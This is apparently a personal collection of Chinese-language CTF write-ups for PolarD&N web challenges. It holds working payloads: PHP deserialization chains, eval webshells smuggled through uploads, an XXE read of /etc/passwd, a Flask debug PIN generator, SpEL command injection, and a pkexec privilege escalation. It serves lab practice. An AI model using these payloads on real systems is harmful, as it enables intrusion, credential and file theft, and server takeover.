class Polar{
public $url = 'polarctf.com';
public $lt;
public $b;
function __destruct()
{
$a = $this->lt;
$a($this->b);
}
}
unserialize($_POST['x']);
highlight_file(__FILE__);
?>
简单反序列化
<?php
class Polar{
public $lt;
public $b;
}
$p = new Polar();
$p->lt = "system";
$p->b = 'cat /f*';
$payload = serialize($p);
echo urlencode($payload);
?>
//O%3A5%3A%22Polar%22%3A2%3A%7Bs%3A2%3A%22lt%22%3Bs%3A6%3A%22system%22%3Bs%3A1%3A%22b%22%3Bs%3A7%3A%22cat+%2Ff%2A%22%3B%7D
坏掉的上传页-文件上传 信息泄露
看表单试试自己构造一下请求
<form class="form">
<div id="upload_panel">
<h3>图片资源上传系统</h3>
<p>上传你的图片到服务器</p>
<h3>上传区</h3>
<form enctype="multipart/form-data" method="post" onsubmit="return checkFile()">
<p>请选择要上传的图片:
<p>
<div class="file-upload">
<button>浏览...</button>未选择文件
</div>
<input class="button" type="button" name="submit" value="上传" />
</form>
</form>
发现表单完全没有文件上传的参数信息
有 config.php 的泄露
<?php
error_reporting(0);
show_source(__FILE__);
define("DB_FILE", UPLOAD_PATH . "database.db");
?>
有 database,但是文件怎么传
看了一下 wp,确实是手动构造,但是这里的 name 参数题目根本没给,wp 也没具体说明,只能试出来
构造请求如下
**POST** / **HTTP/1.1**
**Host**: d3aa7962-5788-43b3-981e-f28e4f225712.www.polarctf.com:8090
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Upgrade-In**secure-Requests**: 1
**User-Agent**: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
**Content-Type**: **multipart/form-data; boundary=----WebKitFormBoundaryBjhuWaVCGxuXjAfA**
**Content-Length**: 326
------WebKitFormBoundaryBjhuWaVCGxuXjAfA
Content-Disposition: form-data; name="file"; filename="aa.php"
Content-Type: image/jpeg
GIF89a
<?php @eval($_POST[0]); ?>
------WebKitFormBoundaryBjhuWaVCGxuXjAfA
Content-Disposition: form-data; name="submit"
submit
------WebKitFormBoundaryBjhuWaVCGxuXjAfA--
提示上传文件记录到数据库,访问一下有路径,直接连即可 flag 在主目录
xxmmll-xxe
看这题目应该是 xxe
看响应头有 xxmmll.php
然后随便打个 xxe 即可
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
Note-信息泄露 反序列化
看题目名称 note 应该是个参数,应该是 ssti 好吧不是
提示调试日志,去看 debug.log
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Remember to validate user input.
[DEBUG] Potential file path manipulation in Note class.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
[DEBUG] Class: Note initialized
[DEBUG] Class: Note | Default Filename: logs.txt
[DEBUG] Hint: unserialize(data) might be insecure if data is user-controlled.
提到了 Note 类和反序列化,以及 Filename 的默认值为 logs.txt
这里的反序列化应该是 data 传参
但是尝试构造了一下不知道怎么访问 flag
看了 wp 发现参数是 GET 方法。。。 而且这里的类参数是 filename,F 不大写,属性是 private
全部符合后即可打出 flag
这也要纯试啊。。要是没有非预期当时做得出来吗
非预期:flag.txt 直接泄露了
赌王
摇什么?摇出来三个一样的也没给提示啊

扫了一下目录没有别的信息,那就继续摇摇看,我这里直接抓包 fuzz 了

访问没有这个目录捏
居然是 ed3d2c21991e3bef5e069713af9fa6ca.php。。
是一个比大小,永远比我大 1
直接整型溢出会有“出现错误,系统值应该大于输入值。” 没别的了,,
用数组破坏一下试试 可行 e744f91c29ec99f0e662c9177946c627
输入 ip,f12 可以看到提示
输入 1.1.1.1 提示权限不足
所以这个 ip 应该是说我们的 ip?
xff 头伪造一下 1.1.1.1 发现可以 ping 了,正常命令执行即可

这题有点意思
困难
java 题没做其它都做了
上传-文件上传 .htaccess php_value
上传.htaccess 解析 jpg
文件内容过滤了 <?,php 版本不支持 script 头绕过,看 wp 可以利用 utf16 绕过
研究了一下不知道怎么做 utf16 的 webshell
发现一种用 base64 解码文件的方法
SetHandler application/x-httpd-php
php_value auto_prepend_fi\
le "php://filter/convert.base64-decode/resource=b64.jpg"
上传一个 base64 编码的图片一句话马即可,访问时是正常文本,但是蚁剑可以连接
这里用反斜杠加回车的原因是过滤了 file 关键字
这又是一个上传-suid 提权 godzilla CVE-2021-4034
上传 webshell 抓包改后缀后即可蚁剑连接
但是没有权限读取 flag
查找具有 suid 权限的命令
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;

比较奇怪的是这个 pkexec
查询发现可以提权 https://gtfobins.github.io/gtfobins/pkexec/
存在 CVE-2021-4034
这里试了很多命令都没办法提权,看了 wp 知道要用到网上的 poc,同时这里蚁剑连接的终端 tty 不完整要使用哥斯拉的 super terminal 其实也就是蚁剑这个是伪终端
下载一下哥斯拉工具
利用漏洞 exp
结果遇到了哥斯拉的缩放问题,jar 文件没有兼容性标签,可以直接去更改 java.exe 和 javaw.exe 的缩放
哥斯拉生成马进入,传入 exp,进入 superterminal

依次运行
make
./cve-2024-4034
提权成功

superterminal 和普通终端的区别在哪,这里挖一个坑,打游戏去了
网上没有现成的资料,不过我的理解是 superterminal 应该更接近本地终端,直接连马的可能是仿的终端
网站被黑-文件包含
这道题用作 yakit 使用练习
使用目录扫描插件只能查出 index.php

扫描机票上的条码得到 10394
不太放心还是 dirsearch 一下,果然发现了一些东西,yakit 插件的字典还是不适用于 ctf
有一个空的 flag.php,还有 style 和 img 文件夹,不过都没什么用
抓包发现 response 中有 hint
F5XDAXZQNZSV6ZRRNZSF63JTF4======
/n0_0ne_f1nd_m3/ //base32
访问进去是代码审计
<?php
error_reporting(0);
$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag|data|base|write|input/i",$file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
else{
highlight_file(__FILE__);
}
?>
?text=data:text/plain,welcome%20to%20the%20504sys
&file=php://filter/read=string.rot13/resource=imposible.php
synt{s46os8522o91s67n02o81s9522s3q80o}
rot13 解密即可
感觉 yakit 确实功能上会多一点,但是 bp 在面对这些简单场景要更清晰顺手
flask_pin-flask 框架 pin 计算

进入 file 页面传入 filename 没反应
sqlmap 也注入不出来,无法判断到底有没有注入点
试一下伪协议
?filename=data:text/plain,test
确实是没有回显
突然想起来是 flask,用个毛线伪协议。。。可以读 app.py
# -*- coding: utf-8 -*-
import pdb from flask import Flask, request
app = Flask(__name__)
@app.route("/")
def hello():
return Hello['a']
@app.route("/file")
def file():
filename = request.args.get('filename')
try:
with open(filename, 'r') as f:
return f.read()
except:
return '不试试filename参数么?'
if __name__ == "__main__":
app.run(host="0.0.0.0", port=8080, debug=True)
扫一下目录,发现 console 页面,需要 pin 解锁
好像这个 pin 是可以计算的
pin 码生成要六要素
1.username 在可以任意文件读的条件下读 /etc/passwd 进行猜测
2.modname 默认 flask.app
3.appname 默认 Flask
4.moddir flask 库下 app.py 的绝对路径,可以通过报错拿到,如传参的时候给个不存在的变量
5.uuidnode mac 地址的十进制,任意文件读 /sys/class/net/eth0/address
6.machine_id 机器码 这个待会细说,一般就生成 pin 码不对就是这错了
官方是通过系统命令获取相对应的值,我们采用读文件获取值后放到脚本(也就是官方加密的方法)里进行加密,3.6 采用 MD5 加密,3.8 采用 sha1 加密,所以脚本稍有不同
这里的 python 版本是 3.5
脚本如下:
import hashlib
from itertools import chain
probably_public_bits = [
'root',# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # getattr(mod, '__file__', None),
]
private_bits = [
'2485376917497',# str(uuid.getnode()), /sys/class/net/ens33/address
'c31eea55a29431535ff01de94bdcf5cfb04033292c49b538cbe9d8bb2f233a861d19052d67718030892d11bffc76a626'# get_machine_id(), /etc/machine-id+/proc/self/cgroup
]
h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt')
cookie_name = '__wzd' + h.hexdigest()[:20]
num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9]
rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num
print(rv)
import hashlib
from itertools import chain
probably_public_bits = [
'root' # username 可通过/etc/passwd获取
'flask.app', # modname默认值
'Flask', # 默认值 getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.5/site-packages/flask/app.py' # 路径 可报错得到 getattr(mod, '__file__', None)
]
private_bits = [
'2485376917497', # /sys/class/net/eth0/address mac地址十进制
'4a2d0d27-a82c-449e-8d64-539d8a6bef69b04033292c49b538cbe9d8bb2f233a861d19052d67718030892d11bffc76a626'
# 字符串合并:首先读取文件内容 /etc/machine-id(docker不用看) /proc/sys/kernel/random/boot_id /proc/self/cgroup
# 有machine-id 那就拼接machine-id + /proc/self/cgroup(要读docker) 否则 /proc/sys/kernel/random/boot_id + /proc/self/cgroup
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
num = None
if num is None:
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
rv = None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x : x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
else:
rv = num
print(rv)
生成 pin 后进入,调用 os.popen 进行命令执行

veryphp-正则匹配
<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
^:匹配字符串的起始位置,这意味着匹配必须从字符串的第一个字符开始。
\-:匹配一个连字符 -。由于连字符在正则里有特殊用途,所以要用反斜杠 \ 转义。
[a-e]:匹配单个字符,该字符需是 a 到 e 之间的任意一个字母。
[^a-zA-Z0-8]:匹配单个字符,但这个字符不能是字母(大小写均可)或者数字 0 到 8。
<b>:匹配字符串 <b>。
(.*):这是一个捕获组,.* 表示匹配任意数量(零个或多个)的任意字符。捕获组会把匹配到的内容保存起来,方便后续引用。
>{4}:匹配连续的四个右尖括号 >。
\D*?:\D 代表匹配非数字字符,* 表示匹配零个或多个,? 使匹配变成非贪婪模式,也就是尽可能少地匹配字符。
(abc.*?):这是另一个捕获组,匹配以 abc 开头,后面跟着任意数量(零个或多个)任意字符的字符串,同样采用非贪婪模式。
p(hp)*:匹配以 p 开头,后面跟着零个或多个 hp 组合的字符串。
\@:匹配一个 @ 符号,由于 @ 是普通字符,所以无需转义。
R(s|r):匹配 Rs 或者 Rr。(s|r) 是一个选择结构,意味着匹配 s 或者 r。
.:匹配任意单个字符。
$:匹配字符串的结束位置,表明匹配必须到字符串的最后一个字符结束。
-a@<b>ctf>>>>aabc1phphphp@Rsa
变量名的下划线可以用左方括号绕过
shaw[root=-a@<b>ctf>>>>aabc1phphphp@Rsa
用 hackbar 一直发不对,本地测试是没问题的,用 yakit 发包
不知道为什么这里一直发不出来,去找 wp 里面的字符串也不行
测试了一下发现怎么把所有符号都给过滤了???
然后才知道 hackbar 和 yakit 发包都会 url 编码
yakit 解决办法:在右键的数据包变形选项中将方法变为 POST,这样就能正常发包了
hint 如下
Here is a hint :
md5("shaw".($SecretNumber)."root")==166b47a5cb1ca2431a0edfcef200684f && strlen($SecretNumber)===5
直接爆破即可
用 Yakit fuzz 数据太多了,而筛选数据很麻烦,用 bp 很慢
还是写脚本爆破吧。。
最后爆破出来时 21475,然后再 myans 调用 qwq 类的 oao 函数即可
突然 yakit 发包也变得很慢,我服了,可能是两个交叉用出了什么端口之类的问题。。。

毒鸡汤-文件包含目录穿越
扫目录发现 hint.txt
刚上线的经典语录小程序,不知道能不能成功运行,有点紧张。
希望大家手下留情不要捅娄子来,呜呜。
公司电脑拿不回家,咱就偷懒把源码打了个包放网站根目录了。
重要文件flag放系统根目录了,反正环境干净也没有马,肯定没人能看到里面写的啥吧。
可以下载到源码 www.zip
<?php
error_reporting(0);
$f='dutang.txt'; //文件名
$a=file($f); //把文件的所有内容获取到数组里面
$n=count($a); //获得总行数
$rnd=rand(0,$n); //产生随机行号
$rnd_line=$a[$rnd]; //获得随机行
$tit = date('m 月 d 日')." - ShawRoot";
?>
<!DOCTYPE html>
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<title>毒鸡汤 - 壮士可要来一碗!</title>
<meta name="description" content="我们精心熬制了有屎以来最毒1000多条经典毒鸡汤,句句“治愈”人心! 只为了帮你更好的看清人生认识自己,直面现实,直面惨淡的人生,不给你励志,不给你慰藉,像一根鞭猛的抽你一下,使你清醒,知道这个世界和你自己最真实的一面,是青少年手机里的必备宝典。">
<meta name="keywords" content="鸡汤,毒鸡汤,馊鸡汤">
<meta http-equiv="Cache-Control" content="no-siteapp">
<meta name="author" content="Admin@jljcxy.cn" />
<meta property="og:title" content="毒鸡汤" />
<meta property="og:url" content="https://shawroot.cc//" />
<meta property="og:image" content="icon.png" />
<meta property="og:site_name" content="毒鸡汤" />
<meta property="og:description" content="我们精心熬制了有屎以来最毒1000多条经典毒鸡汤,句句“治愈”人心! 只为了帮你更好的看清人生认识自己,直面现实,直面惨淡的人生,不给你励志,不给你慰藉,像一根鞭猛的抽你一下,使你清醒,知道这个世界和你自己最真实的一面,是青少年手机里的必备宝典。"/>
<link rel="icon" href="/favicon.ico" type="image/x-icon" id="page_favionc">
<link href="./img/min.css" rel="stylesheet">
<link rel="alternate icon" type="image/png" href="icon.png">
</head>
<body>
<div class="top-wrap" style="position: absolute; top: 1vh;width: 100%;z-index: 999">
<div class="container">
<div class="row" style="margin-top: 30px;">
<div class="col">
<img src="./img/logo.png">
</div>
<div class="col">
<div class="float-right" style="padding-top: 0px;">
<a class="btn btn-primary btn-filled btn-xs" href="./yulu.php" >社会语录</a>
<a class="btn btn-primary btn-filled btn-xs" href="./dog.php" >舔狗日记</a>
<a class="btn btn-primary btn-filled btn-xs" href="https://shawroot.cc" >博客(与题无关)</a>
</div>
</div>
</div>
</div>
</div>
<div class="main-wrapper" style="position: relative; top: -6vh;">
<div class="container main-sentence justify-content-center text-center">
<div class="wrapper">
<span id="text" style="font-size: 2rem;"><?=$rnd_line;?></span>
<textarea id="input">hacked by shawroot</textarea>
</div><br>
<button class="btn btn-primary" onclick="copyText()">点我复制</button>
</div>
</div>
<div class="foot-1" style="position: absolute; bottom: 7vh;width: 100%;">
<div class="container">
<div class="row">
<div class="col text-center">
<span class="btn btn-primary btn-filled btn-xs"><a class="btn btn-primary btn-filled btn-xs" href="javascript:location.reload()" >再来一碗</a></span>
</div>
</div>
</div>
<footer>
<p class="text-center">© 2020 肖根 All rights reserved</p>
</footer>
</div>
<style type="text/css">
.wrapper {position: relative;}
#input {position: absolute;top: 0;left: 0;opacity: 0;z-index: -10;}
</style>
<script type="text/javascript">
function copyText() {
var text = document.getElementById("text").innerText;
var input = document.getElementById("input");
input.value = text; // 修改文本框的内容
input.select(); // 选中文本
document.execCommand("copy"); // 执行浏览器复制命令
alert("复制成功");
}
</script>
<?php
$filename = $_GET['readfile'];
if ($filename){
include($filename);
}
?>
</body>
</html>
存在文件包含
?readfile=../../../../flag
upload tutu-md5 强比较
上传一个.htaccess 和 jpg 马显示 MD5 hashes do not match!
扫目录看看有没有源码
并没有
上传两个一样的文件显示 files are not different
那应该是要构造两个不一样的文件进行 hash 碰撞
用 md5 强碰撞的思路做就可以

看看源码

对文件的 md5 只与文件内容有关
Unserialize_Escape-字符串逃逸
<?php
/*
PolarD&N CTF
*/
highlight_file(__FILE__);
function filter($string){
return preg_replace('/x/', 'yy', $string);
}
$username = $_POST['username'];
$password = "aaaaa";
$user = array($username, $password);
$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
echo file_get_contents('flag.php');
}
反序列化的字符串逃逸
目标字符串
a:2:{i:0;s:8:"username";i:1;s:6:"123456";}
Payload:
username=xxxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}1
自由的文件上传系统-文件包含
上传文件会被“润色”,会被更名,没办法使用 htaccess
尝试了一下?会被替换为!
扫目录发现 git 源码泄露,但是 hack 不下来
访问一下看看也没发现什么
应该就是在文件上传入手
script 绕过不行,F12 发现是注入成功的,应该是 php 文件都被解析成文本了
抓包会发现对文件大小进行了限制,没法通过回溯机制绕过正则匹配
主页有个小房子按钮,按了之后会进入一个相同的页面,但是 url 处存在文件包含

用伪协议读 upload.php 读不到,可以包含之前上传的 script php 头马
<script language="php">@eval($_POST[cmd]);</script>
蚁剑连接即可 /sectet_include.php?file=upload/filename
连接之后发现访问不到 flag 文件 f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd
那就再写个马去访问
<script language="php">system("cat /f1ag_1s_h3R3_And_You_W1LL_n3v3R_F1nd");</script>
ezjava-SPEL 注入
第一次做 java 题,跟着 wp 做:
题目附件给了 jar 包,可以用 idea 打开所在文件夹,然后右键 jar 包添加到库
在 com.example.demo.controller 的 spel 类中存在 spel 表达式注入
@RestController
@RequestMapping({"/SPEL"})
public class spel {
public spel() {
}
@RequestMapping({"/vul"})
public String spelVul(String ex) {
ExpressionParser parser = new SpelExpressionParser();
EvaluationContext evaluationContext = new StandardEvaluationContext();
String result = parser.parseExpression(ex).getValue(evaluationContext).toString();
System.out.println(result);
return result;
}
}
应该是一个 spring 框架存在的漏洞
@RequestMapping({"/vul"}):这个注解为spelVul方法设置了具体的请求映射路径。结合类级别的@RequestMapping,该方法将处理/SPEL/vul路径的请求。public String spelVul(String ex):定义了一个名为spelVul的公共方法,它接收一个字符串类型的参数ex,这个参数就是客户端传递的 SpEL 表达式。ExpressionParser parser = new SpelExpressionParser();:创建了一个SpelExpressionParser对象,它是 Spring 提供的用于解析 SpEL 表达式的解析器。EvaluationContext evaluationContext = new StandardEvaluationContext();:创建了一个StandardEvaluationContext对象,它是 SpEL 表达式执行的上下文环境。parser.parseExpression(ex):调用解析器的parseExpression方法,将客户端传递的表达式字符串ex解析为一个Expression对象。.getValue(evaluationContext):在指定的上下文环境evaluationContext中执行解析后的表达式,并返回表达式的计算结果。.toString():将计算结果转换为字符串类型。
如何注入:
访问/SPEL/vul 页面,get 传参 ex 即可
?ex=new java.lang.ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start()
这题无回显,通过别的方式外带 flag
?ex=new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder(new String[]{"bash","-c","cat /app/flag.txt"}).start().getInputStream(),"gbk")).readLine()
?ex=new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec("cat /app/flag.txt").getInputStream(),"gbk")).readLine()
我的 hackbar 传不进去,抓包传就可以了
苦海-POP 链
<?php
/*
PolarD&N CTF
*/
error_reporting(1);
class User
{
public $name = 'PolarNight';
public $flag = 'syst3m("rm -rf ./*");';
public function __construct()
{
echo "删库跑路,蹲监狱~";
}
public function printName()
{
echo $this->name;
return 'ok';
}
public function __wakeup()
{
echo "hi, Welcome to Polar D&N ~ ";
$this->printName();
}
public function __get($cc)
{
echo "give you flag : " . $this->flag;
}
}
class Surrender
{
private $phone = 110;
public $promise = '遵纪守法,好公民~';
public function __construct()
{
$this->promise = '苦海无涯,回头是岸!';
return $this->promise;
}
public function __toString()
{
return $this->file['filename']->content['title'];
}
}
class FileRobot
{
public $filename = 'flag.php';
public $path;
public function __get($name)
{
$function = $this->path;
return $function();
}
public function Get_file($file)
{
$hint = base64_encode(file_get_contents($file));
echo $hint;
}
public function __invoke()
{
$content = $this->Get_file($this->filename);
echo $content;
}
}
if (isset($_GET['user'])) {
unserialize($_GET['user']);
} else {
$hi = new User();
highlight_file(__FILE__);
}
反序列化 pop 链
FileRobot.Get_file
FileRobot.__invoke
FileRobot.__get
Surrender.__toString
User.__wakeup
O:4:"User":1:{s:4:"name";O:9:"Surrender":1:{s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";s:8:"flag.php";s:4:"path";O:9:"FileRobot":2:{s:8:"filename";s:8:"flag.php";s:4:"path";N;}}}}}
读不到 flag.php,奇怪
O:4:"User":1:{s:4:"name";O:9:"Surrender":1:{s:4:"file";a:1:{s:8:"filename";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";O:9:"FileRobot":2:{s:8:"filename";s:11:"../flag.php";s:4:"path";N;}}}}}
//PD9waHAgDQoJJGZsYWcgPSAnZmxhZ3s2M2RkMGU5ZmJhZGQ2NjM1NDJhMmY4ZWExY2NjNjc2NX0nOw0KCT8+
居然在上一个目录。。。
你想逃也逃不掉-字符串逃逸(减少)
<?php
/*
https://ytyyds.github.io/ (与本题无关)
*/
error_reporting(0);
highlight_file(__FILE__);
function filter($string){
return preg_replace( '/phtml|php3|php4|php5|aspx|gif/','', $string);
}
$user['username'] = $_POST['name'];
$user['passwd'] = $_GET['passwd'];
$user['sign'] = '123456';
$ans = filter(serialize($user));
if(unserialize($ans)[sign] == "ytyyds"){
echo file_get_contents('flag.php');
}
反序列化的字符串逃逸
Payload:
?passwd=";s:6:"passwd";s:6:"ytyyds";s:4:"sign";s:6:"ytyyds";}
POST: name=phtmlphtmlphp3php3gif
我真得问候一下这些把 flag 注释掉放在源码里的人,我还以为我做错了
safe_include-session 文件包含
<?php
show_source(__FILE__);
@session_start();
ini_set('open_basedir', '/var/www/html/:/tmp/');
$sys = @$_SESSION['xxs'];
if (isset($_GET['xxs'])) {
$sys = $_GET['xxs'];
}
@include $sys;
$_SESSION['xxs'] = $sys;
先带 session 传入一句话木马,然后访问/tmp/sess_test 即可得到 flag

也可以传 eval 蚁剑连接,但是要注意当我们访问时 session 文件会被替换为我们访问的内容,因此要用蚁剑的话传入一句话木马之后要直接连接,不要访问确认(这是在 wp 中看到的,没有实操验证)
phar-php 反序列化
<?php
include 'funs.php';
highlight_file(__FILE__);
if (isset($_GET['file'])) {
if (myWaf($_GET['file'])) {
include($_GET['file']);
} else {
unserialize($_GET['data']);
}
}
先尝试用伪协议读一下 funs.php
<?php
include 'f1@g.php';
function myWaf($data)
{
if (preg_match("/f1@g/i", $data)) {
echo "NONONONON0!";
return FALSE;
} else {
return TRUE;
}
}
class A
{
private $a;
public function __destruct()
{
echo "A->" . $this->a . "destruct!";
}
}
class B
{
private $b = array();
public function __toString()
{
$str_array= $this->b;
$str2 = $str_array['kfc']->vm50;
return "Crazy Thursday".$str2;
}
}
class C{
private $c = array();
public function __get($kfc){
global $flag;
$f = $this->c[$kfc];
var_dump($$f);
}
}
通过反序列化读 f1@g
C.__get
B.__toString
A.__destruct
$c = new C();
$c->c = array("vm50" => "f1@g");
$b = new B();
$b->b = array("kfc"=>$c);
$a = new A();
$a->a = $b;
$payload = serialize($a);
要注意这里 waf 不通过才会反序列化
?file=f1@g&data=O:1:"A":1:{s:1:"a";O:1:"B":1:{s:1:"b";a:1:{s:3:"kfc";O:1:"C":1:{s:1:"c";a:1:{s:4:"vm50";s:4:"flag";}}}}}
CB 链-java CB
CB 链的利用在 CC2 的基础上
大概理解 CB 部分的原理,但是构造 poc 需要 cc 部分的基础,先放着下次做完 CC 再回来看
PHP_Deserialization-POP 链
<?php
/*
PolarD&N CTF
*/
class Polar
{
public $night;
public $night_arg;
public function __wakeup()
{
echo "hacker";
$this->night->hacker($this->night_arg);
}
}
class Night
{
public function __call($name, $arguments)
{
echo "wrong call:" . $name . " arg:" . $arguments[0];
}
}
class Day
{
public $filename="/flag";
public function __toString()
{
$this->filename = str_replace("flag", "", $this->filename);
echo file_get_contents($this->filename);
return $this->filename;
}
}
if (isset($_POST['polar'])) {
unserialize(base64_decode($_POST['polar']));
} else {
highlight_file(__FILE__);
}
POP 链
Day.__toString <- Night.__call <- Polar.__wakeup
这里放一个 magic method 方便以后来看
这里居然纠结了很久怎么绕过 waf,一直在想能用什么伪协议,其实双写就可以
$day = new Day();
$day->filename = "/flflagag";
$night = new Night();
$polar = new Polar();
$polar->night = $night;
$polar->night_arg = $day;
$payload = serialize($polar);
echo $payload."<br>";
echo base64_encode(serialize($polar))."<br>";
/*
O:5:"Polar":2:{s:5:"night";O:5:"Night":0:{}s:9:"night_arg";O:3:"Day":1:{s:8:"filename";s:9:"/flflagag";}}
Tzo1OiJQb2xhciI6Mjp7czo1OiJuaWdodCI7Tzo1OiJOaWdodCI6MDp7fXM6OToibmlnaHRfYXJnIjtPOjM6IkRheSI6MTp7czo4OiJmaWxlbmFtZSI7czo5OiIvZmxmbGFnYWciO319
PolarOA-java shiro
弱口令登录
username=admin&password=admin123
登录之后发现 url 带 jsessionid,然后就不知道怎么入手
看了 wp,发现是一道 java 题,考察 shiro 反序列化
如何判断:抓登录包发现响应头中有 remenberMe 字段
Java 题就暂时放一放,后面找时间系统从 CC 开始学
后面好像还有好几道 fast json,一写一个不吱声
坦诚相见-rce base64 重定向符绕过 内联执行
可以命令执行,但是不能访问别的目录
可以读 waf
<?php
function containsPathTraversal($input) {
$patterns = [
'/\.\.\//',
'/\/\//',
'/\%2e\%2e\//',
'/\%2E\%2E\\/',
'/flag/',
'/\//',
'/>/'
];
foreach ($patterns as $pattern) {
if (preg_match($pattern, $input)) {
return true;
}
}
return false;
}
if (isset($_POST['rce']) && containsPathTraversal($_POST['rce'])) {
die('不不不,我也有底线的,至少在这个文件夹内,你随意');
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>在干嘛?</title>
</head>
<body>
<h1>这里什么也没有</h1>
</body>
base64 编码绕过
`echo 'bHMgLw==' | base64 -d` //ls /
`echo 'Y2F0IC9mbGFn' | base64 -d` //cat /flag
这里读不到flag,后面才知道需要sudo一下
echo '<?php @eval($_POST[0]); ?>'>shell.php
`echo 'ZWNobyAnPD9waHAgQGV2YWwoJF9QT1NUWzBdKTsgPz4nPnNoZWxsLnBocA==' | base64 -d | sh`
蚁剑连接后发现读不到 flag,sudo 一下就可以

看大佬 wp 可以用 tee 绕过重定向符来写马
echo "<?=@eval(\$_POST["nuli"]);" | tee 1.php
还可以直接删掉 waf
rm no.php
怎么知道要 sudo?
查看/usr/bin 发现可以利用的命令
ls /usr/bin
任务 cmd-rce
扫目录发现 login.php,登陆需要 boss 的密钥
存在/new/文件夹,可以进行信息收集
boss.html 提示密钥给小黑保管,看来要尝试找到小黑的后台
在 new/file/upload.php 这里发现网页名为 command executor
尝试 GET 传入 cmd 命令果然可以执行,可以直接读 flag
flag{75a121dbb82083c9ec797c39d9b9effe}
但是我觉得没有这么简单,我们来看看到底发生了什么
